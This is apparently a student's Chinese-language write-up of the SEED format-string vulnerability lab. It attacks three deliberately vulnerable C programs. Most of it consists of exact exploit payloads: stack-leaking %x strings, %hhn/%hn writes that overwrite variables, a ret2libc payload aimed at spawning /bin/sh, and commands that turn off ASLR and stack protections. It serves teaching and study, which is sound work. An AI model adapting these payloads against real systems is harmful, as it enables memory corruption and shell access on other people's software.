1.软件安全:格式化字符串漏洞实验
1.1 实验目的
- 在缓冲区溢出漏洞利用基础上,理解如何进行格式化字符串漏洞利用。
- C语言中的printf()函数用于根据格式打印出字符串,使用由printf()函数的%字符标记的占位符,在打印期间填充数据。格式化字符串的使用不仅限于printf()函数;其他函数,例如sprintf()、fprintf() 和scanf(),也使用格式字符串。 某些程序允许用户以格式字符串提供全部或部分内容
- 本实验的目的是利用格式化字符串漏洞,实施以下攻击 1. 程序崩溃2. 读取程序内存3. 修改程序内存4. 恶意代码注入和执行。
1.2 实验环境
Ubuntu 16.04 LTS 32 位(SEED 1604)的 VMware 虚拟机
1.3 实验内容1 prog1
(1)改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0x66887799
(2) 改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0xdeadbeef
a) 后半部分数据小于前半部分数据;
b) 为避免print大量字符,可以将数据分成4个部分分别写入(使用 %hhn)
注意:以上任务,需要关闭 ASLR
#include<stdio.h>voidfmtstr(){char input[100];int var =0x11223344;/* print out information for experiment purpose */printf("Target address: %x\n",(unsigned)&var);printf("Data at target address: 0x%x\n", var);printf("Please enter a string: ");fgets(input,sizeof(input)-1,stdin);printf(input);printf("Data at target address: 0x%x\n",var);}voidmain(){fmtstr();}
1.3.1 环境配置
关闭ASLR
sudo sysctl -w kernel.randomize_va_space=0
开启栈可执行
gcc -z execstack -o prog1 prog1.c
1.3.2 程序崩溃
输入:
%s
解释:访问的字符串地址超出当前堆栈段时,非法访问导致崩溃。
1.3.3 读取程序内存
输入:
%08x | %08x | %08x | %08x | %08x | %08x
解释:由于只有format串,所以从堆栈中选择参数打印内容,进而泄露内存信息。
1.3.4 修改程序内存1
改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0x66887799;
输入:
$ echo -e "\xb7\xec\xff\xbf@@@@\xb5\xec\xff\xbf@@@@\xb6\xec\xff\xbf@@@@\xb4\xec\xff\xbf%.8x%.8x%.8x%.8x%.42x%hhn%.17x%hhn%.17x%hhn%.17x%hhn"> input
$ ./prog1 < input
解释:4 * 4 + 4 * 3 + 4 * 8 = 28 + 32 = 60
66h - 60 = 42
77h - 66h= 17
88h - 77h= 17
99h - 88h= 17
%hhn是以字节修改的方法,所以我们在前方地址字符串上先按数字大小排好该填的地址
比如填写的顺序是66 77 88 99,其对应的地址是\xb7 \xb5 \xb6 \xb4
之后依次计算字符长度即可。
1.3.5 修改程序内存2
改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0xdeadbeef;
输入:
$ echo -e "\xb6\xec\xff\xbf@@@@\xb5\xec\xff\xbf@@@@\xb7\xec\xff\xbf@@@@\xb4\xec\xff\xbf%.8x%.8x%.8x%.8x%.113x%hhn%.17x%hhn%.32x%hhn%.17x%hhn"> input
$ ./prog1 < input
解释:4 * 4 + 4 * 3 + 4 * 8 = 28 + 32 = 60
adh - 60 = 113
beh - adh = 17
deh - beh = 32
efh - deh = 17
同上理%hhn是以字节修改的方法,所以我们在前方地址字符串上先按数字大小拍好该填的地址即可
\xb6 \xb5 \xb7 \xb4
1.4 实验内容2 prog2
(1)开启 Stack Guard 保护,并开启栈不可执行保护,通过 ret2lib 进行利用,获得shell (可以通过调用 system(“/bin/sh”))
(2)尝试设置 setuid root,观察是否可以获得root shell
(3)提示:需要查找 ret2lic 中的 system 函数和“/bin/sh”地址:
#include<stdio.h>voidfmtstr(char* str){unsignedint*framep;unsignedint*ret;//copy ebp into framepasm("movl %%ebp, %0":"=r"(framep));
ret = framep +1;/* print out information for experiment purpose */printf("The address of the input array: 0x%.8x\n",(unsigned)str);printf("The value of the frame pointer: 0x%.8x\n",(unsigned)framep);printf("The value of the return address(before): 0x%.8x\n",*ret);printf(str);printf("\nThe value of the return address(after): 0x%.8x\n",*ret);}intmain(){
FILE *badfile;char str[200];
badfile =fopen("badfile","rb");fread(str,sizeof(char),200, badfile);fmtstr(str);return1;}
1.4.1 环境配置
开启stack Guard但栈不可执行
$ gcc -fstack-protector -z noexecstack -o prog2 prog2.c
1.4.2 通过libc的基地址和内部函数的相对偏移获得ret2libc的函数地址
寻找system和bin/sh相对lib偏移
$ ldd prog2
libc lib的path: /lib/i386-linux-gnu/libc.so.6
基址:0xb7d8e000
$ readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"
$ ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --string /bin/sh
system()函数偏移:0x0003ada0
字符串"/bin/sh"偏移:0x0015b82b
计算在prog2中system和bin/sh地址
$ gdb prog2
gdb-peda$ start
gdb-peda$ vmmap
system()函数偏移:0x0003ada0 + 0xb7d6a000 = 0xb7da4da0
字符串"/bin/sh"偏移:0x0015b82b + 0xb7d6a000 = 0xb7ec582b
寻找ret和system参数位置
$ touch badfile
$ ./prog2
帧指针内value = ebp
故ret = ebp + 4h = 0xbfffec4c
而通过ret调用system()时是模拟已经将参数压栈后的结果,故参数位置是 ret + 4 + 4 = 0xbfffec54
构造shellcode
$ echo"AAAA|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|"> badfile
$ ./prog2
字符串首位在16个字后
$ echo -e "\x4c\xec\xff\xbf@@@@\x54\xec\xff\xbf@@@@\x4e\xec\xff\xbf@@@@\x56\xec\xff\xbf%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.19724x%hn%.2699x%hn%.24495x%hn%.18x%hn"> badfile
$ ./prog2
解释:4 * 4 + 4 * 3 + 15 * 8 = 16 + 12 + 120 = 148
4da0h - 148 = 19724
582bh - 4da0h = 2699
b7dah - 582bh = 24495
b7ech - b7dah = 18
\x??\xec\xff\xbf
4da0582bb7dab7ec\x4c\x54\x4e\x56
1.4.3 设置setuid root
$ sudo chmod u+s prog2
$ ./prog2
无法成功不能获得
1.5 实验内容3 prog3
(1) 打印栈上数据;
(2) 获得 heap 上的 secret 变量的值;
(3) 修改 target 变量成 0xc0ffee00
(4) 上述步骤在首先在关闭ASLR的情况下进行,进一步,可尝试开启 ASLR,观察程序内存地址的变化
format.c
#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<string.h>#include<sys/socket.h>#include<netinet/ip.h>/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past.
* Suggested value: between 10 and 400 */#ifndefBUF_SIZE#defineBUF_SIZE10#endif#if__x86_64__unsignedlong target =0x1122334455667788;#elseunsignedint target =0x11223344;#endifchar*secret ="A secret message\n";voiddummy_function(char*str);voidmyprintf(char*msg){#if__x86_64__unsignedlongint*framep;// Save the rbp value into framepasm("movq %%rbp, %0":"=r"(framep));printf("Frame Pointer (inside myprintf): 0x%.16lx\n",(unsignedlong) framep);printf("The target variable's value (before): 0x%.16lx\n", target);#elseunsignedint*framep;// Save the ebp value into framepasm("movl %%ebp, %0":"=r"(framep));printf("Frame Pointer (inside myprintf): 0x%.8x\n",(unsignedint) framep);printf("The target variable's value (before): 0x%.8x\n", target);#endif// This line has a format-string vulnerabilityprintf(msg);#if__x86_64__printf("The target variable's value (after): 0x%.16lx\n", target);#elseprintf("The target variable's value (after): 0x%.8x\n", target);#endif}intmain(int argc,char**argv){char buf[1500];#if__x86_64__printf("The input buffer's address: 0x%.16lx\n",(unsignedlong) buf);printf("The secret message's address: 0x%.16lx\n",(unsignedlong) secret);printf("The target variable's address: 0x%.16lx\n",(unsignedlong)&target);#elseprintf("The input buffer's address: 0x%.8x\n",(unsignedint) buf);printf("The secret message's address: 0x%.8x\n",(unsignedint) secret);printf("The target variable's address: 0x%.8x\n",(unsignedint)&target);#endifprintf("Waiting for user input ......\n");int length =fread(buf,sizeof(char),1500,stdin);printf("Received %d bytes.\n", length);dummy_function(buf);printf("(^_^)(^_^) Returned properly (^_^)(^_^)\n");return1;}// This function is used to insert a stack frame between main and myprintf.// The size of the frame can be adjusted at the compilation time. // The function itself does not do anything.voiddummy_function(char*str){char dummy_buffer[BUF_SIZE];memset(dummy_buffer,0, BUF_SIZE);myprintf(str);}
server.c
#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<string.h>#include<time.h>#include<sys/socket.h>#include<netinet/ip.h>#include<arpa/inet.h>#include<signal.h>#include<sys/wait.h>#definePROGRAM"format"#definePORT9090intsocket_bind(int port);intserver_accept(int listen_fd,structsockaddr_in*client);char**generate_random_env();voidmain(){int listen_fd;structsockaddr_in client;// Generate a random numbersrand(time(NULL));int random_n =rand()%2000;// handle signal from child processessignal(SIGCHLD, SIG_IGN);
listen_fd =socket_bind(PORT);while(1){int socket_fd =server_accept(listen_fd,&client);if(socket_fd <0){perror("Accept failed");exit(EXIT_FAILURE);}int pid =fork();if(pid ==0){// Redirect STDIN to this connection, so it can take input from userdup2(socket_fd, STDIN_FILENO);/* Uncomment the following if we want to send the output back to user.
* This is useful for remote attacks.
int output_fd = socket(AF_INET, SOCK_STREAM, 0);
client.sin_port = htons(9091);
if (!connect(output_fd, (struct sockaddr *)&client, sizeof(struct sockaddr_in))){
// If the connection is made, redirect the STDOUT to this connection
dup2(output_fd, STDOUT_FILENO);
}
*/// Invoke the program fprintf(stderr,"Starting %s\n", PROGRAM);//execl(PROGRAM, PROGRAM, (char *)NULL);// Using the following to pass an empty environment variable array//execle(PROGRAM, PROGRAM, (char *)NULL, NULL);// Using the following to pass a randomly generated environment varraible array.// This is useful to slight randomize the stack's starting point.execle(PROGRAM, PROGRAM,(char*)NULL,generate_random_env(random_n));}else{close(socket_fd);}}close(listen_fd);}intsocket_bind(int port){int listen_fd;int opt =1;structsockaddr_in server;if((listen_fd =socket(AF_INET, SOCK_STREAM,0))==0){perror("socket failed");exit(EXIT_FAILURE);}if(setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR,&opt,sizeof(opt))){perror("setsockopt failed");exit(EXIT_FAILURE);}memset((char*)&server,0,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr =htonl(INADDR_ANY);
server.sin_port =htons(port);if(bind(listen_fd,(structsockaddr*)&server,sizeof(server))<0){perror("bind failed");exit(EXIT_FAILURE);}if(listen(listen_fd,3)<0){perror("listen failed");exit(EXIT_FAILURE);}return listen_fd;}intserver_accept(int listen_fd,structsockaddr_in*client){int c =sizeof(structsockaddr_in);int socket_fd =accept(listen_fd,(structsockaddr*)client,(socklen_t*)&c);char*ipAddr =inet_ntoa(client->sin_addr);printf("Got a connection from %s\n", ipAddr);return socket_fd;}// Generate environment variables. The length of the environment affects // the stack location. This is used to add some randomness to the lab.char**generate_random_env(int length){constchar*name ="randomstring=";char**env;
env =malloc(2*sizeof(char*));
env[0]=(char*)malloc((length +strlen(name))*sizeof(char));strcpy(env[0], name);memset(env[0]+strlen(name),'A', length -1);
env[0][length +strlen(name)-1]=0;
env[1]=0;return env;}
1.5.1 环境配置
关闭ASLR
sudo sysctl -w kernel.randomize_va_space=0
查看Makefile(已修改)
FLAGS = -z execstack
TARGET = server format
L = 10
all: $(TARGET)
server: server.c
gcc -o server server.c
format: format.c
gcc -DBUF_SIZE=$(L) $(FLAGS) -o $@ format.c
clean:
rm -f badfile $(TARGET)
$ make
1.5.2 打印栈上数据
$ echo"AAAA|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x"> badfile
$ cat badfile |nc127.0.0.1 9090
secret addr: 0x08048740
tartget addr: 0x0804a02c
1.5.3 获得 heap 上的 secret 变量的值
$ echo -e "\x40\x87\x04\x08|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%s"> badfile
$ cat badfile |nc127.0.0.1 9090
上题中41414141处在第40个字处开始,构造相应长度的badfile即可
1.5.4 修改 target 变量成 0xc0ffee00
$ echo -e "\x2e\xa0\x04\x08@@@@\x2c\xa0\x04\x08%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.49091x%hn%.11521x%hn"> badfile
$ cat badfile |nc127.0.0.1 9090
解释:4 * 2 + 4 + 8 * 38 = 316
c0ffh - 316 = 49091
ee00h - c0ffh = 11521
前文中实现方式一致
1.5.5 开启ASLR的情况
sudo sysctl -w kernel.randomize_va_space=1
获得同样的结果
版权归原作者 HwWwWwK 所有, 如有侵权,请联系我们删除。